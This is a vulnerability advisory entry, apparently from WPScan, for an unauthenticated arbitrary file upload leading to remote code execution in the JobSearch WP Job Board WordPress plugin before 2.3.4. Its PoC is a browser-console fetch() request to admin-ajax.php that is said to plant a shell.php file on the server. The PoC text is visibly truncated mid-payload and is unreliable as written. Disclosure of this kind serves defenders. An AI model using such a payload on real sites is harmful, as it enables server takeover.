Lucene search

K
wpvulndbFurkan GedikWPVDB-ID:757412F4-E4F8-4007-8E3B-639A72B33180
HistoryFeb 02, 2024 - 12:00 a.m.

JobSearch WP Job Board < 2.3.4 - Arbitrary File Upload to RCE

2024-02-0200:00:00
Furkan Gedik
wpscan.com
8
arbitrary file upload
remote code execution
unauthenticated attackers
php
security plugin

6.8 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

Description The plugin does not validate files to be uploaded, which could allow unauthenticated attackers to upload arbitrary files such as PHP on the server

PoC

Navigate to the site, and paste the following in your browser’s console: fetch(‘/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded’, }, body: new URLSearchParams({ ‘action’: ‘jobsearch_facebook_get_soc_login_url’, ‘user_data’: JSON.stringify({ “given_name”: (Math.random()*0x1000).toFixed(), “family_name”: (Math.random()*0x1000).toFixed(), “picture”: "data:, response.text()) .then(data => console.log(data)) .catch(error => console.error(‘Error:’, error)); Notice a new file named “shell.php” was uploaded to the site.

CPENameOperatorVersion
eq2.3.4

6.8 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

Related for WPVDB-ID:757412F4-E4F8-4007-8E3B-639A72B33180